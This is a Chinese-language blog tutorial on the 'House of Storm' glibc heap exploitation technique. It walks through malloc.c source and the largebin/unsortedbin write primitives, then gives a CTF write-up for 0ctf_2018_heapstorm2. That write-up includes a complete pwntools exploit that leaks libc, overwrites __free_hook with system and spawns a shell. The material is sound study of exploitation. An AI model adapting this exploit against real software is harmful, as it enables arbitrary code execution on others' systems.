House of storm

说在前面

  • 适用范围:libc2.30以下
  • 是一款组合技,利用开启了 PIE 的 x64 程序的堆地址总是 0x55xxxx... 或者 0x56xxxx... 开头这一特性,使用一次 largebin attack 写两个堆地址,使用一次 unsortedbin attack 写一次libc地址,可以实现任意地址分配。虽然 house of storm 最后能达到任意地址分配,但是由于其所需的条件比较多,一般可以用其他更简便的堆利用技术代替。这种利用技巧和思路还是很值得学习的。

源码分析

以下是libc2.23 malloc.c源码片段,当分配一个堆块时会先从fastbin,smallbin中,若没有合适堆块,依次遍历unsorted bin,对大小不合适的堆块会从unsoredbin移入smallbin或largebin中,参见下述代码。

          /* place chunk in bin */

          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
		      < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
			  assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
			  == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

关键代码

				 ......
						  victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
          ......

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;
          

利用手法

变量说明

  • 把要从unsortedbin放入largebin的chunk称作chunk_A,也就是关键代码中的victim
  • fwd是当前largebin链表中第一个大小不大于chunk_A的,下面称为chunk_B

Large bin attack

  • 修改chunk_B->bk=addr1-0x10
  • 修改chunk_B->bk_nextsize=addr2-0x20、

带入上述代码进行计算,最终效果就是

  • addr1=chunk_A
  • addr2=chunk_A
    即addr1,addr2都被赋值为chunk_B header地址,是个很大的数,效果类似于unsorted bin attack

House of storm

攻击姿势:

  • 假设需要攻击的地址是fake_chunk=addr-0x20
  • 修改chunk_A->bk=fake_chunk
  • 修改`chunk_B->bk=fake_chunk-0x18
  • 修改`chunk_B->bk_nextsize=fake_chunk-0x20+0x3

此时当我们申请一个0x50的堆块,unsorted bin的那个堆块会被放入large bin中, 达到的效果:

					 ......
						  victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                          
                          //chunk_A->fd_nextsize=chunk_B;
                          //chunk_A->bk_nextsize=addr-0x20-0x20+0x3
                          //addr-0x20-0x20+0x3=chunk_A
                          //addr-0x20-0x20+0x3+0x20=addr-0x20+0x3 = chunk_B
                        }
                      bck = fwd->bk;
                      //bck=addr-0x18
                    }
                }
          ......

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;
          
          //addr-0x18=bck;
          //chunk_B->fd=chunk_A;
          //addr=chunk_A;
          //addr-0x18+0x10=addr-0x8=chunk_A;
          
  • unsortedbin attack
    • addr-0x10被写入main_arena+88(在此攻击手段中用处不大)
  • largebin attack
    • addr-0x8,addr-0x20+0x3被写入chunk_A的地址

最终addr-0x18处被写入了0x55或0x56,相当于伪造了size,申请0x50的堆块即位于addr-0x20处,此时需要访问到fake chunk的bk指针指向的地址(bck->fd = victim),因此需要其为一个有效的地址,这就解释了设置large bin的bk的目的。

最后需要说明的是,当开了地址随机化ASLR之后,堆块的地址最高位只可能是0x55或0x56,而只有当最高位为0x56的时候,上述攻击方式才能生效,这里其实和伪造0x7f而用0x7_后面加上其他某个数可能就不行的原因一样,是由于__libc_malloc中有这么一句断言:

assert(!victim || chunk_is_mmapped(mem2chunk(victim))
       || ar_ptr == arena_for_chunk(mem2chunk(victim)));

过上述检测需要满足以下一条即可:

  • victim 为 0 (没有申请到内存)
  • IS_MMAPPED 为 1 (是mmap的内存)
  • NON_MAIN_ARENA为 0 (申请到的内存必须在其所分配的arena中)
    而此时由于是伪造在别处的堆块,不满足我们常规需要满足的第三个条件,因此必须要满足第二个条件了,查看宏定义#define IS_MMAPPED 0x2,#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)可知,需要size & 0x2不为0才能通过mmap的判断。

值得一提的是,由于addr-0x8被写入了chunk_A地址,因此最终在fake chunk被返还给用户后,unsorted bin中仍有chunk_A地址所对应的堆块(已经被放入了large bin中),且其fd域被写入了main_arena+88。

例题

  • 题目来源:buu-0ctf_2018_heapstorm2
  • libc2.23

代码分析

题目开了全保护,审计代码,有add,edit,show,delete函数,存储chunk 指针和size的数组用一组随机数异或存储,

__int64 my_init()
{
  __int64 v0; // rax
  int i; // [rsp+8h] [rbp-18h]
  int fd; // [rsp+Ch] [rbp-14h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x3Cu);
  puts(
    "    __ __ _____________   __   __    ___    ____\n"
    "   / //_// ____/ ____/ | / /  / /   /   |  / __ )\n"
    "  / ,<  / __/ / __/ /  |/ /  / /   / /| | / __  |\n"
    " / /| |/ /___/ /___/ /|  /  / /___/ ___ |/ /_/ /\n"
    "/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/\n");
  puts("===== HEAP STORM II =====");
  if ( !mallopt(1, 0) )
    exit(-1);
  if ( mmap((void *)0x13370000, 0x1000u, 3, 34, -1, 0) != (void *)322371584 )
    exit(-1);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(-1);
  if ( read(fd, (void *)0x13370800, 0x18u) != 24 )
    exit(-1);
  close(fd);
  MEMORY[0x13370818] = MEMORY[0x13370810];
  for ( i = 0; i <= 15; ++i )
  {
    *(_QWORD *)(16 * (i + 2LL) + 0x13370800) = xor_ptr(0x13370800, 0);
    xor_size(0x13370800, 0);
    *(_QWORD *)(16 * (i + 2LL) + 0x13370808) = v0;
  }
  return 0x13370800;
}

以上我们可知,数组地址是绝对地址0x13370800,0x13370818与0x13370810初始值相同
继续审计,发现漏洞在update函数里

  strcpy((char *)(size + v6), "HEAPSTORM_II");

off bu null
在view函数里有一个检查

 if ( (*(_QWORD *)(a1 + 24) ^ *(_QWORD *)(a1 + 16)) != 322401073 )
    return puts("Permission denied");

我们要修改0x13370818与0x13370810这两处的值

利用思路

以下是个逆向的思路

  • 可以修改free_hook为system
    • 泄露libc地址
      • view函数泄露
        • 修改0x13370818与0x13370810这两处的值
    • 把free_hook函数连接到记录chunk的数组中
  • 在0x13370800附近构造一个fake_chunk,即可实现上述目的
  • 利用两次off by null构造unsorted bin attack 和large bin attack,构造一个fake_chunk

exp:

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./0ctf_2018_heapstorm2')
libc = ELF('/home/yaaaa/study/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def alloc(size):
    p.sendlineafter(b'Command: ', b'1')
    p.sendlineafter(b'Size: ', str(size).encode())

def update(idx, size, contnt):
    p.sendlineafter(b'Command: ', b'2')
    p.sendlineafter(b'Index: ', str(idx).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Content: ', contnt)

def delete(idx):
    p.sendlineafter(b'Command: ', b'3')
    p.sendlineafter(b'Index: ', str(idx).encode())

def view(idx):
    p.sendlineafter(b'Command: ', b'4')
    p.sendlineafter(b'Index: ', str(idx).encode())

while True:
    p=process('./0ctf_2018_heapstorm2')
    addr = 0x13370800
    alloc(0x18)#0
    alloc(0x508)#1
    alloc(0x18)#2
    alloc(0x18)#3
    alloc(0x508)#4   0x555555a01570
    alloc(0x18)#5
    alloc(0x18)#6
    update(1,0x4f8,b'a'*0x4f0+p64(0x500))
    delete(1)
    update(0,0x18-12,b'a'*(0x18-12))
    alloc(0x18)#1
    alloc(0x4d8)#7
    # alloc(0x18)#8
    delete(1)
    delete(2)
    # alloc(0x18)#1
    # alloc(0x1000)#2

    alloc(0x38) #1
    alloc(0x4e8)  #2  
    # #largebin_attack


    update(4,0x4f8,b'a'*0x4f0+p64(0x500))
    delete(4)
    update(3,0x18-12,b'a'*(0x18-12))
    alloc(0x18)#4
    alloc(0x4d8)#8
    # alloc(0x18)#5
    delete(4)
    delete(5) 
    alloc(0x48)

    delete(2)
    alloc(0x4e8)#2
    delete(2)
    fake_chunk = addr-0x20
    pal1 = p64(0) * 2 + p64(0) + p64(0x4f1)
    pal1 += p64(0) + p64(fake_chunk)
    pal2 = p64(0) * 4 + p64(0) + p64(0x4e1)
    pal2 += p64(0) + p64(fake_chunk+0x8)
    pal2 += p64(0) + p64(fake_chunk-0x18-5)
    update(7, len(pal1), pal1)
    update(8, len(pal2), pal2)
    try:
        alloc(0x48)#2
        pal3 = p64(0) * 5 + p64(0x13377331) + p64(addr)
        update(2, len(pal3), pal3)

        pal4=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)
        pal4+=p64(0x133707e3)+p64(0x8)
        update(0,len(pal4),pal4)

    except:
        p.close()
        continue
    

    
    view(1)
    p.recvuntil(b'Chunk[1]: ')
    heap=u64(p.recv(6).ljust(8,b'\x00'))
    log.info('heap:'+hex(heap))

    pal5=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)
    pal5+=p64(heap+0x10)+p64(0x8)
    update(0,len(pal5),pal5)
    view(1)
    p.recvuntil(b'Chunk[1]: ')
    libc_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x3c4b78
    log.info('libc_addr:'+hex(libc_addr))
    free_hook=libc_addr+libc.symbols['__free_hook']
    system=libc_addr+libc.symbols['system']
    log.info('free_hook:'+hex(free_hook))
    log.info('system:'+hex(system))
    pal6=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)
    pal6+=p64(free_hook)+p64(0x8)+p64(heap+0x560+0x10)+p64(0x8)
    update(0,len(pal6),pal6)
    bin_sh=b'/bin/sh\x00'
    update(2,len(bin_sh),bin_sh)
    pal7=p64(system)
    update(1,len(pal7),pal7)
    # pal7=p64(0)*3+p64(0x13377331)+p64(addr)+p64(0x1000)
    # pal7+=p64(free_hook)+p64(0x8)+p64(heap+0x560)+p64(0x4e1)
    # update(0,len(pal7),pal7)
    delete(2)
    # gdb.attach(p)

    p.interactive()
    break

参考文章

https://bbs.kanxue.com/thread-272098-1.htm#msg_header_h3_12
https://fu9-dotom.github.io/p/house-of-stormbuu-0ctf_2018_heapstorm2/#利用思路

posted @ 2026-04-30 20:00  sprYAaaa  阅读(16)  评论(0)    收藏  举报